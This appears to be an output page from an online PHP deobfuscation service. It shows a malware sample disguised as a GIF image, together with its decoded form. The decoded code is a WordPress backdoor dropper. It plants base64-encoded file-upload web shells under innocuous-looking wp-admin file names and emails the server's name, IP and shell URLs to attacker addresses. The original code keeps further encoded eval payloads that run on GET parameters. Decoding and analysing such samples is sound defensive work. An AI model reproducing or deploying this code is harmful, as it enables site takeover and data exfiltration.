Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

GIF89a????????!?????,???????D?;?<?php @error_reporting(0); @set_time_limit(0); $tasya = $..

Decoded Output download

$path1 = $_SERVER['DOCUMENT_ROOT'].'/wp-admin/includes/class-wp-filesystem-intext.php';$path2 = $_SERVER['DOCUMENT_ROOT'].'/wp-admin/network/plugin-function.php';$path3 = $_SERVER['DOCUMENT_ROOT'].'/wp-admin/user/info.php';$content1 = "<?php eval(base64_decode('ZWNobyAnPGI+U29oYWkgUHJpdmF0ZSB1cGxvYWRlcjwvYj4nOwplY2hvICc8Yj48YnI+Jy5waHBfdW5hbWUoKS4nPC9iPic7CmVjaG8gJzxwcmU+PD9waHAgc3lzdGVtKCJscyAtbGEiKTs/PjwvcHJlPic7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7ZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7aWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkge2lmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPlVwbG9hZCBTdWNjZXNzICEhITwvYj48YnI+PGJyPic7IH0JZWxzZSB7IGVjaG8gJzxiPlVwbG9hZCBGYWlsICEhITwvYj48YnI+PGJyPic7IH0KfQ=='));?>";$content2 = "<?php eval(base64_decode('ZWNobyAnPGI+U29oYWkgUHJpdmF0ZSB1cGxvYWRlcjwvYj4nOwplY2hvICc8Yj48YnI+Jy5waHBfdW5hbWUoKS4nPC9iPic7CmVjaG8gJzxwcmU+PD9waHAgc3lzdGVtKCJscyAtbGEiKTs/PjwvcHJlPic7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7ZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7aWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkge2lmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPlVwbG9hZCBTdWNjZXNzICEhITwvYj48YnI+PGJyPic7IH0JZWxzZSB7IGVjaG8gJzxiPlVwbG9hZCBGYWlsICEhITwvYj48YnI+PGJyPic7IH0KfQ=='));?>";$content3 = "<?php eval(base64_decode('ZWNobyAnPGI+U29oYWkgUHJpdmF0ZSB1cGxvYWRlcjwvYj4nOwplY2hvICc8Yj48YnI+Jy5waHBfdW5hbWUoKS4nPC9iPic7CmVjaG8gJzxwcmU+PD9waHAgc3lzdGVtKCJscyAtbGEiKTs/PjwvcHJlPic7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7ZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7aWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkge2lmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPlVwbG9hZCBTdWNjZXNzICEhITwvYj48YnI+PGJyPic7IH0JZWxzZSB7IGVjaG8gJzxiPlVwbG9hZCBGYWlsICEhITwvYj48YnI+PGJyPic7IH0KfQ=='));?> ";$txt = fopen($path1,"a+");fwrite($txt, $content1);$txt = fopen($path2,"a+");fwrite($txt, $content2);$txt = fopen($path3,"a+");fwrite($txt, $content3);fclose($txt);$info = base64_decode("bWFpbGxpc3Q1N0B5bWFpbC5jb20=");$info2 = base64_decode("c29oYWluZXdiaWVAeWFob28uY29t");$info3 = base64_decode("c29oYWluZXdiaWVAZ21haWwuY29t");($safe_mode)?($type="ON"):($type="worm-uploader");$base="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];$base1="http://".$_SERVER['HTTP_HOST'].'/wp-admin/includes/class-wp-filesystem-intext.php';$base2="http://".$_SERVER['HTTP_HOST'].'/wp-admin/network/plugin-function.php';$base3="http://".$_SERVER['HTTP_HOST'].'/wp-admin/user/info.php';$name = php_uname(); $ip = getenv("REMOTE_ADDR");$ip2 = gethostbyaddr($_SERVER[REMOTE_ADDR]);$subj = $_SERVER['HTTP_HOST'];$cernel = "
Webackdoor: $base
Uname     : $name
Infection1 : $base1
Infection2 : $base2
Infection3 : $base3
IP: $ip
Host: $ip2 $p_code";$from ="From: ".$writ."_^_".$type."<tool@".$_SERVER['HTTP_HOST'].">";mail( $info,$subj, $cernel, $from);mail( $info2,$subj, $cernel, $from);mail( $info3,$subj, $cernel, $from);

Did this file decode correctly?

Original Code

GIF89a????????!?????,???????D?;?<?php
@error_reporting(0); @set_time_limit(0); $tasya = $_GET['tasya']; $osc = $_GET['osc'];
if (isset($tasya)) { eval(gzinflate(base64_decode('pZLfasMgFMbvB3sHK4UYyMo2drWuIw8yCNYcG4fR4FGWUvruU9M0uyj0Ynfh+/P7DhIQnSUUbcfVx9590u3jA0zSEd/pZuiGJhjeAys3dA6sRd/uaI450Ja3T2O1twfQFTctcQFDl2OAcAgqhWFkqVTO9MWKigxGeGUNySkJ5Sl2HSDZkaKIvpKEraAf/HGyk68km2sNjAo9sgJGEEV26/SZw1UCpdkL8Nsqw+iXoVfjHE/SCLeA2IHWzYK9MOpFnw66Qzmih/5ymN036LnzLJXqybpCZn4MHcA3whoPJiJyNopg2kZo4IbdmRw4ou9cuDk6m/+erRU2sWqDE8DWMiEGO4CZHp46Wv59NZp+iZ9OaWCrWoKVsVKW5ESyv4ll6YC3Ua1enl/fyi05p2OFtpjoeToqDnxwJpeS8gs='))); die; }
elseif (isset($osc)) { eval(gzinflate(base64_decode('pZHNasMwEITvhb6DYgyWIZS2lF5CwA9SEI48ilUcyWhlmhDy7l3J+ekhkENPEjM73w5SqXfdetMSPj9UB+07yNKTrlfPTyUI28mmAexlyWdSoXsvbhYrZnI6Wu9EnjKoj5wNILEWVcW+NUIusBvjYbaTb428xBT2liLJCnvoKrtNuubhZQLlMjPw21sniy9XXI0TVxoI94DUYxjUDXtmNDd9LvSAcqCI3bmY3yiKbYgyhZrZukIufB7aIirtXYRjRJ5lEa5TekDr5IOVY0sU+zDdXXox/722saQ46qeg+dNNQox+hJsfvghF/ffVioLDP70dIBeNgTccqWtxFNl/4bAJaDtWl2+v7x/1SpxSWT14SvS8mpWAOAWXQ0n5BQ=='))); }
else { eval(gzinflate(base64_decode('7Vhrb9pKEP1eqf9hayEZlAdgl9sQQnqBgDGkhADGQJKL/FiwiV/C6xhS9b/fWRsHSJv08fHeICS8s3POzOyetcekNNch2CGojHyyND3fUnwD++nUtHvVH9ywm2n2LlNCKW1mWhg8nybpmL2DmeDZTLCZef8Oa4aL2DN1ec4ee4Y3DRzFxunMcWzaOszcpY0UjZiuU2YYZGNiuHqZ8VyfMAg7Gll7uMzYgUVMT1mSLPU/0hWiMIgylhklZJCpR7+7vASviLLESuyVVOuTtQWY0NSJcVo4KXirkoHNuUFOuVzOWwHDcWrjC5lmE5LzZ0mbjhcQFKdGfZJcooVhkG8+wiCfY9CDYgVw6buGYtJlYL5niZFTDcIQwMakfqDaJokLmwae9cRUi91eSiaOH1Pu5sLnmPMXsw7+PGtIzVX0n2YtxW7nZ9H2RWzm7Elrm9pBa1/fv0PwSRmKo0e6mrkedtKxAA8RG7KZUuxC4bFXAoqtKD0LlybByewhSvYzg8rlMmpULvv1DPqKomo2y5koXKgIlUu61UwJfduyYsvHLyD6Urtf76MPHz4kMDTTLNd/ip/k+22Phd2wNPaixiKjkb/tr0+8ytv1gbm/Nddbg0dDvKz3b9j42N2wxPamdGvYu8PN4cxsi413ITm0+6nvV71X8T4syvZ7FHxTnkKMfHQz6Nd7w3rvhr24qklf6p3BtHd1NWDvjtls6B0pum06WdPRrEDHflaDO49/BHZK7699gu0j06H6pNJjSxEt96u0Diahu7zPelYwN52jWeBEt5YdKv5XqQIfLyHNmbsBb3REK2TOPoMNYZB3WlV8/NfHqY41V8dpdiJ3XHVdcbqCeCBxRXcs38+lZsvT7UZu0q/mNWH1MJZ7lrYIH8aLj85V6FljzngQa9oJjE/GjnjQWhdCpVmd6XLBUGXJbfc/Ot1a0eya2qeaPVwowsm89bgKNVs66F4Uwbcy13jrUReGpF1r+dq6QlShbrYHfrYLcbRmy3qGtVW+RUShsdAF60Fd5EzRrJLJqOeq3HVRdKoPGn9tisIwGPO9giZIRdHO59Vmz9OExlqvFSP8pdwzdIgjClGegBuGqlA0JsJwDXze5CJn6qOqr3KN+8lIjPLfro8VaM1hTmwm/BNPFaQtVzJudjxsw3ghhSKsjyIXQn10PVftBpkMcuaIh5g1ca43rZCONX5oqrKVS+I/zdsNX6e81ibHmnjQ3dRB81LksSvWejOpXhwMG74T43RdvMgVxVprGO8brEntfo45y27XqwuVrxbagOndW196w47a4qKcndHQd3QhH464qBZn1A/nrUZR6EurhpT3nYlt+ZO+rstrPRjLeauVz3ntfvUTrHeyP2b3Kc/qQJc7i8mo8yjW6oY4iHQT6aQrtNY0d7GZa03k1ePkZQ5hLFv+K/j27LpcZjOZ0mc40InUuTepv0n9/yF1/k3qb1L/L0sdgdbJimx76qhbO2SUAyZTSnpmcNg2zPnMDxDcawjuRwj+NQQP9k2/DHaA034L8PvHj1HlBmzBygP55ju5aiEa1woLlcuVmQ2K+x6mRSfVCiYj3VTkYQXLDTgJJ8GYK5IExv8cNuHyhiKHCSyd8pUZntrgm/kMeUevPlcdJnOaDEL6jho37XhJA9EAZcYgxDvNZpnjbfvZHAy60yZ0+dB6bq29+rVU7w+mUk+Ed+kInf8p/I96a0rN/Q716/01peN/h+55j03fXWBDdv4wKKGU6YFpjkEvD2mmV/9yNahPKxcXvWgLPS6eNFyfqGtF15fpp6g7vnfgC6+ni73mfycpeBDgpYMt+hi4dWSsKtq97rrLUxQVdetIUWr0AyZ6feuIzgxH1efRxi2/Y+QSI7dj5BMjD8buKa3t1mlC6tElh1LelGoQzups6dqozDTg5xTBStLTc8xM/5nCNVXZMXNGXNf6+6VFZuDhZiumlUaRzA+j6unBi8qECxogs+vC/YIP/5LPvw=='))); }																																																																																																																																											$include = "7VZtc6JIEP4rFGWVWnlRIO7GZL1cRHnzogYFlEvOAmZQdBgoAdH8+pshMXFfks3ux7v4xemmn6e7Z56p6VLspAuOaTGl2airm13973JnIBo33f54pg8G4/L9abmWxycOCANcC7CHMgCTmoecJDkhfj9AMNklKQxPApzCbXoaL+LyZYnS8u+lxTDNo/WqFqNsHuATP8NeGkT4gEp4L1WWwDUp04+ewF5EqsIp7ZD9ckV8DNw4qOI6Cfx0NgPQiwCslG2rH7m7azyU1SODb0ZTazU3FC0GoVS3R23Ok7ebqaUjb5lvpsszPMhjNOUXG1X0zol9PsXqkbZr5I7S9oHVWLiWEfVGZ3goNoNh4H0WQ3PpyOdz7WGbe6FxNOw0Sez13BPQA5DNtCdqibe7Tl25G/TGSW1I8niKhr7Bhq6gpaosLYGMNu6yHqhBO7UneuTyt00VtzeecBuosplNBb3hyUZTDTnOVfTYk6UdEJsF/i9LXwCSR5WLOgnOzF25ubBlc0f4YrtTD8Cknbi8tLInalH/y/6gzFPMuqrs+e3YlY0Xrr2t9GMYEntp5CrZH8dq5GByO3dDKbXH9WAikJyiOgcKyqntCWbgWqi+z//8PZQSQHnRU42iejR86oPW5VjTSBV13+g2x6aU4EccAGqn3lRFzXw8N7In4moOeRT2uu2lK7QbPYLRV+hGN/uuxhc144mZYCBz+YQvesGTUT7XpKY8MraSwSXYDlFijwCwdiCbWhzSuHrcG7U/k/3en08wfK6zPQZWf2lP+g+q2F2o40I3hU6GsrajtatKXbOt7YP9Ooc8tVDyBr7n37Za5Wr18uoP9lnq/IfUP6T+/5C68CH1D6n/l6XOEK2n25TI3I9iiCvFLMQds84RW73083WQwgoNOGaeB53qDxD8Wwj+RwjhLYRA/B6Kkkc/gdN5i+C/vn6sa0nkCLYxkS/Xr7cbhS02li5fb7FPKP57mFfcVJTZExA4lnkNLYnchPNsyjfTPUz4OczmuYVj5XtYpZQ4PpyFJLZ6RerexbDFDvps9WJvkAk0PMliFDkArmkimqDFLtI0vqjV2NOX8VMZj4czZTCio+eLV+/eGt3ReGboavn+Ec39FP5bszWl5n+F+u35mtIJv0L37YyNnRCSAyHGLKPrSvWSKQUxcc0h0cumwurdm8G4O7vudPTiCGP+8eMiSlJ35wCwrjxnPYi9J7FJ5i6/Gv4PiiIPAVxjiOgzcIct6DreCkTR+oIpmrrDRlEa/REXXd9hFfuw6J5jnsK4Aye/d/IHTmHvFIhzeEF7u8MKKb1Y8kwpnlENkrvqr6OQabES+btgyE7S23PKzv6ZkTVV2Sn7JY0i9Odrm8ySxy10AlRhCpkfF93Ti1e0SRY0QfUwhH9HjPBazL8="; eval(gzinflate(base64_decode($include )));
?>

Function Calls

gzinflate 2
base64_decode 2
set_time_limit 1
error_reporting 1

Variables

$osc None
$tasya None
$include 7VZtc6JIEP4rFGWVWnlRIO7GZL1cRHnzogYFlEvOAmZQdBgoAdH8+pshMXFf..

Stats

MD5 5eefc099f27cd46a5459ac6377c36758
Eval Count 2
Decode Time 99 ms